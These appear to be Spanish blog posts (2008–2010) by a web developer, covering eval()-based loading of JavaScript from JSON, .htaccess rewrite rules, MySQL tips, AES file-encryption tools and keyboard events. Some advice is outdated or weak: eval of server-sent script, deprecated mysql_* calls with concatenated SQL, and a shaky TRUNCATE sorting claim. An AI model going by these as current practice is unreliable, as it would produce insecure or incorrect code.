si detectas que he cometido algún error en mis ejemplos o en mi explicación, please, comenta aquí abajo y lo corregiré para ayuda de otros :)) Gracias!

Un saludo!
SERGI

Cargar javascript desde JSON o AJAX con eval() en FF y execScript() en IE

noreply@blogger.com (Usher web) — Thu, 28 May 2009 04:04:00 +0000

¿Estás desarrollando una aplicación web en la que usas JSON o AJAX para cargar dinámicamente datos? ¿Además necesitas cargar dinámicamente no solamente datos sino también código javascript para ser utilizado en la página? A continuación te expongo el modo de hacerlo para que funcione en FireFox 3.X y IE7 (casualmente, también funciona en IE6).

Voy a partir de la base de que utilizas jQuery para la consulta JSON o AJAX al servidor. Y me voy a centrar en la "carga" del código javascript. Pero obviamente, no importa la librería o código que uses para el JSON o AJAX. Hay muchísima literatura en internet sobre ese tema.

Ejemplo de carga de datos

Empezaré con un ejemplo de carga de datos tipo texto, que es lo más habitual. Y luego pondré un ejemplo de carga de código javascript.

function js_actualizar_top_webs(){
var url_json = 'json_top_webs.php?mes='+$('#select_mes').val();
$.getJSON(
url_json,
function(datos){
$('#div_top_webs').html(datos.table_webs);
}
);
}

Imaginemos que en nuestra web de ejemplo tenemos un control tipo lista desplegable (select) que permite al usuario escoger un mes del año, y queremos que nuestra página recargue un <div id="'div_top_webs'"></div> con la lista del top 10 de webs de ese mes. Es un ejemplo clásico de recarga de datos dinámica usando JSON o AJAX.

Para ello construimos una función llamada js_actualizar_top_webs, que llamaremos al cambiar el valor de ese select. Esta función tal como está definida en el código de ejemplo hace una llamada JSON mediante el objeto $ de jQuery y cuando los datos se hayan recibido por completo ejecutará el código en rojo, en dónde "datos" es un objeto de javascript (no un array!!) que contiene diferentes "propiedades" con los datos enviados. En este caso, suponemos que el archivo de PHP que ha sido llamado devuelve un string llamado "table_webs" que contiene el código HTML de un "<table>" con la lista de webs que queremos mostrar.

Para "obtener" el valor de ese string HTML simplemente llamamos a datos.table_webs y lo colocamos como "contenido" de "div_top_webs" mediante el método .html() de jQuery. ¿Sencillo, no?

Ejemplo de carga de código javascript

Bueno, vamos ahora a algo que "cuesta" un poquitín más. Bueno, de hecho a mí me ha hecho gastar casi 8 horas de cansada búsqueda por internet y de leer mucho y probar mucho, hasta llegar a lo que te voy a poner aquí! ;)

Abajo tienes el código anterior ligeramente cambiado: hemos añadido unas líneas de código más, con el fin de poder cargar y ejecutar un código de javascript elaborado en el lado servidor.

function js_actualizar_top_webs(){
var url_json = 'json_top_webs.php?mes='+$('#select_mes').val();
$.getJSON(
url_json,
function(datos){
$('#div_top_webs').html(datos.table_webs);
if (window.execScript) window.execScript(datos.script_leyenda);
else window.eval(datos.script_leyenda);
}
);
}

Puedes ver en rojo dos nuevas líneas que corresponden a una sentencia condicional, y esto es necesario para ejecutar un código u otro según estemos en FireFox o en Internet Explorer (como mínimo estos dos navegadores). Para ambos casos el código de javascript pasado es el mismo y lo recuperamos de nuevo mediante jQuery con la propiedad datos.script_leyenda (que habremos rellenado desde el PHP con el código javascript que necesitemos ejecutar en nuestra web).

La diferencia radica en que Internet Explorer ejecutará el código de javascript mediante el método window.execScript(), mientras que FireFox ejecutará el código al usar el método window.eval(), en ambos casos pasando como argumento el código javascript que queremos ejecutar.

Otro aspecto importante y que tal vez pase desapercibido a primera vista es que en ambos casos ejecutamos sendos métodos sobre el objeto window. Eso es fundamental (me llevó más de una hora leyendo descubrirlo), para que el código javascript a ejecutar pase a estar "disponible" desde otros "ámbitos" de la misma página. De esta forma, si por ejemplo, dentro de ese código cargado dinámicamente definimos una función llamada "js_mostrar_leyenda()", si queremos usarla en el resto de la página, deberemos llamarla así: window.js_mostrar_leyenda();

Estoy seguro de que a más de uno le va a ir de perlas estas 3 líneas de código! al menos a mí me va a dar mucha potencia de programación con JSON y javascript. Y sinceramente, cuesta encontrar información "actualizada" en internet. Ya sabes que este tipo de información técnica (especialmente cross-browser) se desfasa con facilidad, con la salida de nuevas versiones de navegadores continuamente!! Así que lo que es válido hoy deja de serlo al cabo de 2 años :(

Te invito a que comentes cualquier sugerencia que tengas al respecto, eh! seguro que a todos nos interesa (temas de compatibilidad, por ejemplo). Si probando el código ves que te funciona en otros navegadores, por favor, coméntalo brevemente ;)

Actualización 2012-mar-06

Bajo petición de un comentarista añado a continuación un ejemplo de cómo debería ser el código PHP del archivo

json_top_webs.php

que uso en los ejemplos de arriba.

1  <?php
2 
3       $ret=array(
4                 'table_webs'=>'<p>table</p>',
5                 'script_leyenda'=>"alert('Hi world');"
6                 );
7                
8       echo json_encode($ret);
9 
10  ?>

No necesita mucha explicación, pero por los que empiezan con el PHP:

definimos un array con dos elementos que llevan el nombre que luego usaremos en el javascript (como "datos.table_webs").
fijaros en el valor de cada uno de ellos. El primero es código HTML tal cuál, y el segundo es CUALQUIER instrucción o instrucciones de javascript, desde un simple alert() hasta definir funciones si es necesario.
por último hacemos un echo del array pasándolo primero por la función nativa de PHP json_encode() que lo que hace es reescribir los datos en formato JSON (ya sabéis: con llaves, comillas dobles, y comas, escapando los valores que haga falta). Cuidado porqué esta función creo que no estaba en algunas versiones de PHP 4.x ! pero en fin, quiero pensar que hace años que todo el mundo actualizó ya a PHP 5.x

Un saludo!!!
SERGI

FireFox, solución a "Ha escogido abrir..."

noreply@blogger.com (Usher web) — Thu, 21 May 2009 23:28:00 +0000

Este artículo es un poco técnico, pero me veo obligado a publicarlo para compartir la solución a un problema que creo que es más común de lo que parece y sobre el que he encontrado muy poco escrito. Pienso que los desarrolladores de aplicaciones web que lo lean me lo agradecerán. Tal vez no te haya ocurrido nunca, pero ya llegará el día, jejejeje...

Signos del problema

- Cuando se intenta acceder a ciertas páginas de la aplicación, el navegador tarda en responder como casi un minuto y luego -al menos en FireFox- aparece una ventana en la que el mensaje dice "Ha escogido abrir este archivo..." y te da la opción de guardar el "supuesto" archivo PHP en lugar de mostrar el contenido de la web. Si pruebas a visitar la misma página desde IE la página quedará completamente en blanco y no mostrará nada.

- Es posible que algunas páginas de la web si vayan, porque sean HTML, pero también algunas de PHP también pueden verse mientras otras no. Después de leer el artículo entero entenderás porqué.

- El problema te ocurre tanto si visitas las web desde tu PC o desde cualquier otro. Aunque ten cuidado con las copias guardadas en caché!!! te pueden jugar "bromas pesadas": hacerte creer que una página se ve bien cuando realmente no es así, o al revés! Para estar seguro siempre de que el navegador te muestra la página devuelta por el servidor te aconsejo refrescar la página con CTRL+F5.

Causa del problema

- Tu aplicación web está teniendo algún "problema" en algún punto de sus "cálculos": en algún lugar del código se entra en una especie de "bucle infinito" que deja a la aplicación "pensando indefinidamente". Por esta causa el servidor da una respuesta "incoherente" al navegador, o digamos que el navegador no sabe interpretar la respuesta (¿curioso, verdad?).

- Por ejemplo, en mi caso se trataba de una clase que yo había programado para acceder a un archivo histórico, que cuando accede bloquea/desbloquea un archivo como señal de alerta para otros "hilos" de la aplicación, de que no pueden acceder en ese momento a la aplicación. La cuestión es que este sistema me funciona sin problemas (hasta ahora). Pero la empresa de hosting hizo una especie de restauración de backup en los servidores que debieron alterar los permisos de escritura sobre el directorio en el que está ubicado el archivo. En conclusión: mi aplicación se quedaba encallada en ese punto: intentando acceder a ese archivo permanentemente "bloqueado". Una vez que descubrí este fenómeno, la solución fue fácil: por FTP cambié los atributos del directorio para poderse escribir en él!

- Sin embargo, mi caso es muy particular y entiendo que difícil de repetir por otros programadores. Pero no así el problema de fondo: dejar a la aplicación en "stand by" (o en bucle) hasta resolver algo irresoluble. Por ejemplo, entre los comentarios que he leído en otros foros, hay gente que le ha pasado exactamente lo mismo cuando su aplicación web intenta hacer un "fopen", que es una lectura de un archivo remoto con PHP. Lo que quiero decir es que si no te ha pasado todavía (como desarrollador web) es muy posible que te pueda pasar en breve. Sobretodo hoy en día en el que la programación con webservices y consultas remotas está tan a la orden del día ;)

- [Nota añadida 8-ago-2009] Hoy me ha ocurrido otra vez un bucle de esos que me ocasionó el mismo error! Aunque esta vez, sabiendo que se trataba de un bucle infinito he ido haciendo "debugeo" hasta encontrar donde se me "colapsaba" la aplicación ;) El bucle era del tipo "función recursiva MAL HECHA":

function mi_funcion(){
if (condicion)
return mi_funcion();
else
return 'a otra cosa mariposa';
}

Con lo cuál, en los casos en que "condición" es verdadero se llama de nuevo a la misma función, en un bucle infinito!! ¿Cuál fue esta vez mi error...? pues que en realidad cuando escribí el código quería llamar a una "mi_segunda_funcion()" en el caso de que "condicion" fuera verdadero... en fin, que me equivoqué con el nombre de la función!!! :((( es uno de esos errores del "copiar y pegar", del que no hace falta que diga mucho más, verdad?! jejeje...

Bueno, en fin, cualquier comentario al respecto será bienvenido, si te ha pasado lo mismo o algo parecido. No dudes en comentarlo aquí... igual que tú has llegado hasta aquí con ese problema, detrás tuyo vendrá más gente a quien le podrá ser útil! no olvides escribir tu solución cuando la halles! ;)

Un saludo!
SERGI
PD: está lloviendo!!! jajajaja... se agradece en este tórrido territorio (desierto de Sonora, México) en donde solo ayer estabamos a 43 grados (a finales de Mayo...).

Redirección interna con RewriteRule, RewriteCond y paso de variables PHP

noreply@blogger.com (Usher web) — Sat, 11 Apr 2009 03:11:00 +0000

Llevo 5 horas leyendo, buscando, probando... y por fin hallé lo que necesitaba!!!!!!!! Lo más frustante ha sido encontrar apenas casos como el mío... lo cuál no acabo de entender pues creo que es de lo más normal.

Mi caso es el siguiente: tengo un site funcionando en inglés

http://midominio.com

y como es un CMS hecho en PHP tengo URLS del tipo:

http://midominio.com/index.php?pag=foro

Lo que necesito es convertir mi CMS en multi-idiomas con los menos cambios posibles y de una forma amigable para usuarios y buscadores. ¿Creo que es algo muy generalizado, verdad? Por eso no entiendo el porque me ha costado encontrar referencias que me ayudaran. Tal vez he estado buscando mal ;)

La solución que buscaba era la de poder tener URLS como

http://midominio.com/es/index.php?pag=foro

que llevara "internamente" (es decir, sin que el visitante se dé cuenta... es decir, sin que camb ie la URL en su navegador) a esta otra URL

http://midominio.com/index.php?pag=foro&idioma=es

De esta forma el visitante podría estar navegando siempre por el "subdominio" /es/ pero en realidad la aplicación de PHP que es llamada es siempre la misma solo que se le pasa la variable idioma y de esta forma puede mostrar los contenidos adecuados! ;)

La última condición que necesitaba cumplir es que el archivo PHP llamado fuera cualquiera y no solo index.php, y que las variables de la URL fueran cualesquiera y cuantas sean necesarias.

Y en fin, después de 5 horas de lecturas y pruebas hallé el contenido del archivo .htaccess que tengo que poner en la raiz de ese dominio:

Options +FollowSymLinks
RewriteEngine On
RewriteRule ^es/$ $1?idioma=es
RewriteRule ^es$ $1?idioma=es
RewriteCond %{QUERY_STRING} ^([^/]+)
RewriteRule ^es/(.+)\.php$ $1.php?%1&idioma=es
RewriteRule ^es/(.+)$ $1

No quiero hacer un tutorial aquí del tema, porque sería larguísimo y además no tengo los conocimientos adecuados. Posiblemente incluso la sintaxis que he utilizado podría mejorarse. Pero voy a detallar lo poco que he entendido de estas líneas de código y su función:

las dos primeras líneas son necesarias sí o sí si se quieren utilizar en APACHE estas reglas de redirección
la 3a y 4a líneas son para añadir "?idioma=es" a la URL cuando no menciona ningún archivo PHP: http://midominio.com/es
las líneas 5a y 6a van "ligadas". La primera "lee" el QUERY_STRING que son las variables $_GET que vienen después del "archivo.php?", y las insertamos en el output de la línea 6a como %1.
la línea 7 es para que se redireccionen todas las demás URLS, esta vez sin añadir nada del idioma, como las imágenes o las hojas de estilo CSS.

Para el que quiera saber más, decir que las sentencias RewriteRule manejan siempre la sintaxis:

RewriteRule input output

En donde input es una "expresión regular" (expresión que usa un lenguaje de comodines) que coincidirá solamente con algunas URLs concretas, y output es simplemente las URLS que finalmente debe construir y llamar Apache, utilizando normalmente "partes" del input. Esas partes son $1,$2,$3... (tal como se utilizan en la sintaxis del output), y se corresponden con el contenido de los diferentes paréntesis () que hay en la expresión regular del input.

Ejemplo:

RewriteRule ^es/(.+)\.php$ $1.php?%1&idioma=es

coincidirá con URLS del tipo:

es/index.php?pag=foro (pag=foro sería el QUERY_STRING,%1)

y será transformada en index.php?pag=foro&idioma=es
Como véis, el nombre del archivo php (index) es una variable! ;)
y el QUERY_STRING también aunque se lee en una línea RewriteCond previa.

La verdad es que el tema es un auténtico lío, jejeje... así que no dudo de que alguno de vosotros no haya entendido la mitad! Lo que si puedo aseguraros es que si queréis entender algo deberíais empezar por leer algún tutorial sobre el tema de .htaccess o de las expresiones regulares, que es de lo que va esto ;)

Actualización 6 Enero 2010

Podemos simplificar aún más el trabajo con idiomas

Trabajando esta semana en el tema de los idiomas (de nuevo) he descubierto que se puede conseguir lo mismo que pretendíamos al inicio de este artículo pero de manera un poco más "limpia" y cómoda. Me explico.

Arriba hemos utilizado el archivo .htaccess para realizar una redirección interna de:

http://midominio.com/es/index.php?pag=foro

a

http://midominio.com/index.php?pag=foro&idioma=es

Y sin embargo he descubierto que podemos optar a una redirección más sencilla (con menos líneas y menos complicación en el archivo .htaccess) si usamos bien el PHP ;) En concreto, la redirección la llevaremos simplemente hacia:

http://midominio.com/index.php?pag=foro

Es decir, que literalmente nos "comemos" el "es/" (más abajo pongo como ha de ser el .htaccess), y usamos el PHP para "leer" el "idioma" (en nuestro ejemplo 'es') en la URL (a la que accedemos con $_SERVER['REQUEST_URI']). El código PHP sería algo como esto:

$a_idiomas=array('es','en','fr');
$REQUEST_URI=$_SERVER['REQUEST_URI'];
foreach($a_idiomas as $v){
    if ( !strpos($REQUEST_URI,'/'.$v.'/')===false
       or substr($REQUEST_URI,-1*(strlen($v)+1))=='/'.$v )
          $idioma=$v;
}

En el array $a_idiomas cargamos las siglas de los idiomas que usamos en nuestro site. En $REQUEST_URI cargamos la URL solicitada (sin incluir el dominio o host), es decir, en nuestro ejemplo sería /es/index.php?pag=foro. Después, solamente ejecutamos un bucle que recorre cada uno de los idiomas buscando si sus siglas aparecen como /es/ o como /es (en una URL del tipo http://midominio.com/es). Si ocurre alguno de estos casos, entonces ya hemos encontrado cuál es el idioma que el visitante está requiriendo ;)

Fijaros que no hemos necesitado que la redirección interna nos lleve a una URL que contenga la variable GET &idioma=es. Y eso se va a traducir en lo siguiente: un archivo .htaccess mucho más limpio:

Options +FollowSymLinks
RewriteEngine On

RewriteRule ^es$ $1
RewriteRule ^es/$ $1
RewriteRule ^es/(.+)$ $1

Es decir, de 5 reglas nos hemos quedado con solo 3, y además las más sencillas! No entiendo muy bien la razón pero no he podido deshacerme de una de ellas. Intuyo que en realidad las 2 últimas RewriteRule son redundantes, pero después de hacer pruebas he comprobado que ambas son necesarias :S

Pero no se vayan... aún hay más! jejeje

Cuando no trabajamos en la raíz del dominio

Uno de los comentaristas (Carlos) preguntó acerca de trabajar en "local", en dónde lo anterior sufre algunos problemillas... :S En mi caso, también tuve problemas cuando quise trabajar en un directorio por debajo de la raíz del dominio, como por ejemplo en:

http://midominio.com/sports/es/index.php

Para no extenderme mucho, la solución que me ha funcionado ha sido usar la cláusula RewriteBase /directorio que indica al servidor Apache que si usamos redirecciones absolutas queremos que la "raíz" no sea la del dominio (http://midominio.com/), sino http://midominio.com/directorio. Esta cláusula nos será útil y necesaria solo si usamos el parámetro [R] al final de algún RewriteRule. Este parámetro obliga al servidor a CAMBIAR la URL que vino del navegador por la resultante de aplicar la regla Rewrite !!!

Para aclararnos, veamos como yo he dejado mi archivo .htaccess que he colocado en /sports:

Options +FollowSymLinks
RewriteEngine On

RewriteBase /sports

RewriteRule ^es$ es/ [R]
RewriteRule ^es/$ $1
RewriteRule ^es/(.+)$ $1

Añadir a lo dicho, que ahora la primera regla ya no es una redirección INTERNA, sino EXTERNA, es decir, al llegar a ella, si la URL pedida por el visitante cumple con la expresión ^es$ entonces se va a modificar la URL del navegador del visitante por una URL exactamente igual pero acabada en 'slash' /.

¿Para qué complicarnos tanto la vida? Pues porque de esta forma si alguien escribe:

http://midominio.com/sports/es

será redirigido a:

http://midominio.com/sports/es/

y con esto los enlaces relativos que hayan en esa página serán considerados por el navegador como relativos al directorio /es/ !!!! de otra forma serían considerados como relativos al directorio /sports/.

Bueno, como pueden ver... este tema es más complejo de lo que aparenta. Y me da la sensación de que hay muchos casos diferentes, y que han de buscar en su caso qué es lo que funciona. Les recomiendo que prueben y prueben... el "ensayo y error" también sirve ;)

Aquí tienen dos enalces por si necesitan leer más, del sitio oficial de Apache:

http://httpd.apache.org/.../rewrite_guide.html#trailingslash

http://httpd.apache.org/.../mod_rewrite.html

Una última aclaración: mod_rewrite es el módulo de Apache que usa el .htaccess, y está activado por defecto diría que en casi cualquier servidor de hosting Linux+Apache.

Suerte!
SERGI

Funciones y operadores en consultas MySQL

noreply@blogger.com (Usher web) — Sun, 14 Dec 2008 04:04:00 +0000

¿Necesitas consultar una tabla MySQL ordenada por un campo al que le aplicas una función? Por ejemplo, tal vez el tipo de datos de una columna es CHAR o VARCHAR, pero en realidad ahí almacenas "numeros decimales", y necesitas hacer un SELECT ordenado según el valor "decimal" de ese campo. En ese caso necesitarás conocer el "operador" MySQL adecuado ;)

Vamos a ver un ejemplo. Supongamos que en mi tabla 'vehiculos' tengo 2 registros solamente con los siguientes campos (los dos del tipo VARCHAR) y valores:

vehiculo	precio
v_1	120,44
v_2	82,33

Si yo ejecuto este query de MySQL:

SELECT * FROM vehiculos ORDER BY precio

Entonces, al ser el campo precio de tipo VARCHAR, los registros se me ordenarán de forma alfabética de menor a mayor, quedando así:

v_1	120,44
v_2	82,33

que no es lo que yo quería conseguir!!! Pues lo que yo quería obtener es los precios ordenados por su valor decimal, es decir, primero el vehiculo de precio=82,33. Entonces la solución pasa por utilizar el "operador" TRUNCATE(valor,num_decimales), dónde puedo utilizar el nombre del campo 'precio' (sin las comillas) como valor, y poner un 2 en num_decimales, con lo que MySQL me ordenará los registros de mi tabla por el valor numérico de 2 decimales correspondiente al campo 'precio' ;)

SELECT * FROM vehiculos ORDER BY TRUNCATE(precio,2)

Igual que este operador, hay una lista bastante larga de operadores numéricos y de cadena para transformar los valores almacenados en los campos de nuestras tablas y que podemos insertar en nuestras consultas MySQL. Y no sólo en el parámetro ORDER BY, sino también en el WHERE on el SET o dónde sea!!!! :D

En la página oficial de MySQL Operator and Function Reference encontraréis la lista completa y como se usa cada uno de ellos! Muy recomendable el echarle una lectura rápida... para al menos saber qué se puede y qué no se puede hacer, jejejeje...

Envía tus archivos encriptados con AES

noreply@blogger.com (Usher web) — Fri, 05 Sep 2008 15:59:00 +0000

Hola amigos. Voy a contaros cómo podemos encriptar muy fácilmente un archivo para poder enviarlo (por email, ftp, etc...) de manera totalmente segura, es decir con la certeza de que nadie que no conozca la contraseña pueda leerlo!!

Buscando por ahí he hallado que uno de los algoritmos de encriptación más populares se llama AES (Advanced Encryption Standard) y es tan seguro que lo utiliza el gobierno de USA para encriptar sus archivos ;)

Así pues, tenemos este algoritmo implementado en toda clase de librerías (PHP,java, C++, etc...) y en toda clase de programas (para windows, mac, Linux, etc..). En SourceForge.Net podéis encontrar 90 aplicaciones opensource (libres y gratuitas).

En concreto, aquí os dejo dos opciones, que son las que yo he encontrado más adecuadas a los usos que voy a hacer de AES.

Cypher, para windows

Tenéis una aplicación sencilla y potente: una vez cargada la aplicación tiene una única ventana sin menús en donde puedes arrastrar cualquier archivo con el ratón y automáticamente te "chupa" la ubicación del archivo. Luego le das clic al botón "Process" y te pide una contraseña (cuanto más larga la pongas mucho más segura será la encriptación, unos 20 caracteres estaría bien) y te pregunta si quieres "encriptar" o "desencriptar". Una vez tienes el archivo encriptado ya lo puedes enviar por FTP o por correo!!! como tú quieras!!! lo único que has de saber es que para desencriptarlo se ha de utilizar de nuevo el algoritmo AES con la misma contraseña, aunque puede ser con otro software ;)

El archivo encriptado ocupa casi lo mismo que desencriptado.. lo cuál es una gran noticia! y el proceso de encriptación es bastante rápido (claro, dependerá del tamaño del archivo y de la velocidad de tu PC).

Este programa del que os hablo se llama Cypher y es opensource. Aquí podéis descargarlo: http://sourceforge.net/projects/cypher

aespipes, para Linux

Para Linux, en concreto para Ubuntu, lo mejor que he encontrado que utilice AES es un programa que se utiliza desde la línea de comandos de la terminal. Para instalarlo haces (en Ubuntu):

sudo aptitude install aespipes

Y para encriptar con 256 bits (máximo):

aespipe -e aes256 -T <archivo_input> archivo_output

por ejemplo:

aespipe -e aes256 -T <mi_agenda.txt> mi_agenda_enc.txt

Si quieres conocer todas las opciones que tiene este comando:

aespipe --help

AES combinado con 7z, para windows-Linux

La aplicación Cypher (para Windows) tiene una limitación: no admite contraseñas de más de 15 caracteres :( Así que es incompatible para utilizar con aespipes (para Linux) puesto que este solo trabaja con contraseñas de como mínimo 20 caracteres.

La solución que he hallado es trabajar en windows con la aplicación (también opensource) Zeus Protection, que hace dos cosas a la vez: encripta con el algoritmo AES el archivo que le pasamos, y genera un archivo comprimido con el resultado utilizando el formato 7z.

"7z es un formato de compresión de datos con tasas muy altas, superando a las de los populares formatos zip y rar. La extensión de fichero para los archivos pertenecientes a este formato suele ser .7z. Puede utilizar diferentes algoritmos de compresión." (citando a Wikipedia)

Para ello, una vez descargado e instalado Zeus Protection en Windows, podremos hacer clic con el botón derecho del ratón sobre el archivo que queramos encriptar y nos aparecerá la opción "Protect" que nos abrirá un cuadro de diálogo:

En ella debemos definir no más de 4 parámetros:

- Protected file name: nombre del archivo comprimido que vamos a generar (se almacenará en la misma carpeta que el archivo que queremos encriptar)
- Compresion level: el grado de compresión que deseamos. Sabiendo que a mayor compresión el archivo ocupará menos kb pero tardará más tiempo en procesarse (lo cuál no se notará si el archivo es pequeño)
- Encryption Password: la clave de encryptación (el tamaño óptimo es de 20 caracteres de longitud)
- Encryption Strength: selecciona "AES 256b encryption" si usas una clave de 20 caracteres

Si los datos anteriores han sido correctamente escritos se te activará el botón "Ok" y podrás empezar a encriptar!

Lo bueno de este método es que a parte de ser muy cómodo (por usarlo con el botón derecho del ratón directamente sobre el archivo a encriptar), también se puede utilizar de igual modo para encriptar toda una carpeta!!! haciendo clic con el botón derecho sobre una carpeta (aunque contenga a otras carpetas y archivos) podremos encriptarlo todo generando un único archivo comprimido y encriptado!!! Genial, no?? para hacer buenos backups totalmente privados e indescifrables!!!

7z en Linux

Si hemos trabajado con Zeus Protection en Windows, podemos trabajar con 7z en Linux instalando dos paquetes, si es que no los tienes ya instalados. En Ubuntu sería así:

sudo aptitude install p7zip p7zip-full

Y una vez instalados estos paquetes verás que probablemente desde el explorador de archivos no podrás abrir directamente los archivos generados por Zeus Protection con el gestor de archivos comprimidos por defecto. Pero no te preocupes, podemos hacerlo muy sencillamente con el siguiente comando:

7z x archivo_7z_comprimido_y_encriptado

Por ejemplo:

7z x mi_agenda.7z

Evidentemente, te pedirá la contraseña ;)

A disfrutarlo amigos!!!
Viva el software libre.
SERGI

Asignación condicional abreviada en PHP

noreply@blogger.com (Usher web) — Wed, 03 Sep 2008 14:40:00 +0000

Para los que todavía estais empezando en esto del PHP, quiero compartir con vosotros, casi a modo de comentario una sintaxis de PHP muy útil para hacer asiganciones condicionales de forma muy compacta.

Codigo de ejemplo 1

1  <?php
2  
3       if ($a==1) { $b=2; } else { $b=3; }
4  
5  ?>

Codigo de ejemplo 2

1  <?php
2  
3       $b = ($a==1) ? 2 : 3;
4  
5  ?>

Estos dos códigos de ejemplo asignan el valor 2 o el valor 3 a la variable $b según si la variable $a vale 1 o no. Lo que pasa es que tal como podéis apreciar la sintaxis de la segunda asignación es mucho más compacta. De hecho, si es necesario este tipo de condicional se podría utilizar "sobre la marcha":

1  <?php
2  
3       echo "Variable b = ".( ($a==1) ? 2 : 3);
4  
5  ?>

Eventos de teclado con Javascript: onKeyPress, onKeyUp y KeyCode

noreply@blogger.com (Usher web) — Wed, 03 Sep 2008 14:02:00 +0000

¿Has necesitado alguna vez controlar con javascript cuándo el visitante de tu web aprieta INTRO cuando está dentro de algún "input" tipo "text", por ejemplo para ejecutar un "submit" del formulario desde javascript en ese momento? La solución es sencilla y pasa por utilizar el evento onKeyPress y la propiedad KeyCode.

Cross-browser y cross-time

Antes que nada, hay que advertir que el mecanismo de hacer esta "captura de
pulsaciones de teclado" ha ido evolucionando al mismo ritmo que han ido evolucionando los diferentes navegadores. Es decir, que si queremos tener un script cross-browser (funcional en "todos" los navegadores), hay que ir con cuidadito y posiblemente el script que utilicemos hoy de aquí a 2 años ya no funcionará en los navegadores más modernos. Creo que es necesario advertirlo porque si uno busca este tema por internet encontrará mil y una soluciones no coincidentes y con resultados distintos. Así que mi consejo es doble: fijaros en la fecha del post y en todo caso, haced vosotros mismos unas cuantas pruebas del script que vayais a implementar ;)

Código HTML

1  <html>
2       <h3>Ejemplo de capturar la pulsacion de INTRO en una caja de texto</h3>
3       <p>Danos tu email:
4       <input type='text' id='email' 
5            onkeypress="javascript:if (getKeyCode(event)==13) alert('Gracias.')" />
6       </p>
7       <script>
8            function getKeyCode(e){
9                 e= (window.event)? event : e;
10                 intKey = (e.keyCode)? e.keyCode: e.charCode;
11                 return intKey;
12            }
13       </script>
14  </html>

Podeis comprobar el funcionamiento de este ejemplo aqui.

Yo he probado que funciona en IE6, IE7, FF2 y FF3, estando a Septiembre de 2008. No puedo comprobarlo en otros navegadores porque no tengo más instalados, pero si alguien lo hace, por favor, comenta aquí tu resultado ;)

Nota: en vuestros comentarios leo que también funciona sin problemas en Opera 9.62

Nota: la sintaxis utilizada en la línea e= (window.event)?event:e; se llama asignación abreviada. Si no las ha utilizado nunca, lee esta breve explicación que acabo de postear.

Ampliación 04-02-2009: onKeyUp

La semana pasada decubrí que se puede usar onKeyUp en lugar de onKeyPress, y ciertamente con mejores resultados. Voy a explicar brevemente la diferencia porque creo que a más de uno le va a interesar.

Obviamente ya sabemos todos los que hemos programado en otros lenguajes que contienen eventos que ambos son muy parecidos. Pero en concreto, me gustó más el resultado obtenido con onKeyUp porque detecta "mejor" el momento en el que los valores de la caja de texto cambian! He rehecho la página de ejemplo para que podáis probar la diferencia.

En donde se aprecia muy bien la diferencia es haciendo lo siguiente: escribimos algo de texto en la caja (probadlo en ambas cajas para ver la diferencia) y el texto se irá "copiando" automaticamente en una etiqueta span que tengamos debajo. Hasta aquí ambos eventos funcionan "aparentemente" igual: cada vez que escribimos una letra, se dispara el evento y replica el contenido de la caja en el span.

Sin embargo, una vez tengais escrito algo de texto, seleccionad parte del texto y pulsad una tecla cualquiera y veréis la diferencia entre ambos eventos: onKeyPress no actualiza el contenido del span, pero onKeyUp sí lo hace!. es decir, sí lo hace, pero solamente si luego seguimos pulsando más teclas, pero no lo hace inmediatamente :(

Jejeje, no me preguntéis el porqué ocurre eso, pero creo que nos es útil saberlo, verdad?! Yo lo descubrí proque estaba haciendo una especie de calculadora de precios: necesitaba que en el span saliera automaticamente el precio con IVA de un precio que yo introducía en un input, y necesitaba que funcionara sincronizadamente (como sucede usando onKeyUp).

En PHP recuperar el ultimo ID de un INSERT MySQL

noreply@blogger.com (Usher web) — Tue, 26 Aug 2008 19:49:00 +0000

Programando en PHP, ¿alguna vez has necesitado saber el valor generado para un ID autoincremental después de una consulta tipo INSERT? ¿eres de los que -como yo- se ha complicado la vida haciendo una consulta SELECT para encontrar el id más alto en esa tabla o el max(ID)? Pues anota la siguiente instrucción ;)

Te pondré un simple ejemplo de 3 líneas, y verás qué sencillo: supongamos que tienes una tabla llamada 'mi_tabla1' que tiene un campo ID de tipo AUTO_INCREMENT, y necesitas insertar un registro y luego saber inmediatamente cuál es el ID que se ha generado para él, con tal de poder aprovecharlo en otras tablas.

Veamos esas 3 líneas de código:

mysql_query("INSERT mi_tabla1 SET `mi_campo`='mi_valor'");
$ultimo_ID = mysql_insert_id();
mysql_query("INSERT mi_tabla2 SET `id1`='".$ultimo_ID."'");

Breve explicación: en la primera línea insertamos un nuevo registro en la tabla 'mi_tabla1'. En la segunda línea recuperamos CON UNA SOLA INSTRUCCIÓN el último valor "autogenerado" (tiene que haber un campo AUTO_INCREMENT en esa tabla) por la última inserción realizada en la conexión MySQL establecida por el script en ejecución. En la tercera línea utilizamos ese valor para añadir un nuevo registro con ese ID asociado a un campo que esta vez no será AUTO_INCREMENT, pero que permitirá relacionar los registros de ambas tablas.

Cómo habréis notado, el quit de la cuestión está en la función de PHP mysql_insert_id().

Cómo evitar que los buscadores indexen nuestras páginas seguras

noreply@blogger.com (Usher web) — Tue, 19 Feb 2008 12:10:00 +0000

¿Has incluido páginas SSL seguras en tu sitio web, y los buscadores han empezado a indexarte de nuevo todas tus páginas HTTP como HTTPS, cual duplicados? ¿Sabías que curiosamente eso puede penalizar la posición de tu web en los rankings de esos mismos buscadores?

Como este era mi caso, estuve buscando información para solucionarlo, y aquí os he traducido del inglés un articulo que detalla dos soluciones. El original podéis leerlo en www.seoworkers.com.

Muchos sitios web tienen páginas que utilizan SSL. Esto permite que el intercambio de información entre el servidor y el navegador del visitante suceda en una conexión encriptada, para garantizar la provacidad y la integridad de la misma.

Las URLs (direcciones) de páginas encriptadas con SSL comienzan con https en lugar de con http, para indicar que trabajan sobre un protocolo seguro.

El caso es que si las páginas seguras de tu sitio web han sido indexadas por los buscadores juntamente con el resto de páginas estandar, puedes experimentar serios problemas de canonicalización.

[NT: por ejemplo, que los buscadores consideren que tu página principal sea https://www.midominio.com antes que http://www.midominio.com -tal vez no conteniendo la misma información!!! O también -aún peor- puede que los buscadores interpreten que estás intentando "duplicar" el contenido de tu web con modos fraudulentos, y pueden penalizarte por ello!!! En cualquier caso, es perjudicial para la adecuada presencia de tu web en los buscadores.]

Estos problemas aparecen solo si tienes las páginas seguras dentro del mismo subdominio en el que tienes las páginas estandar.

En cambio, en el caso de que tus páginas seguras las tengas bajo un subdominio exclusivo [NT, por ejemplo: https://pagos.midominio.com] puedes fácilmente excluirlas de la indexación usando el archivo robots.txt en la raíz del directorio de ese subdominio.

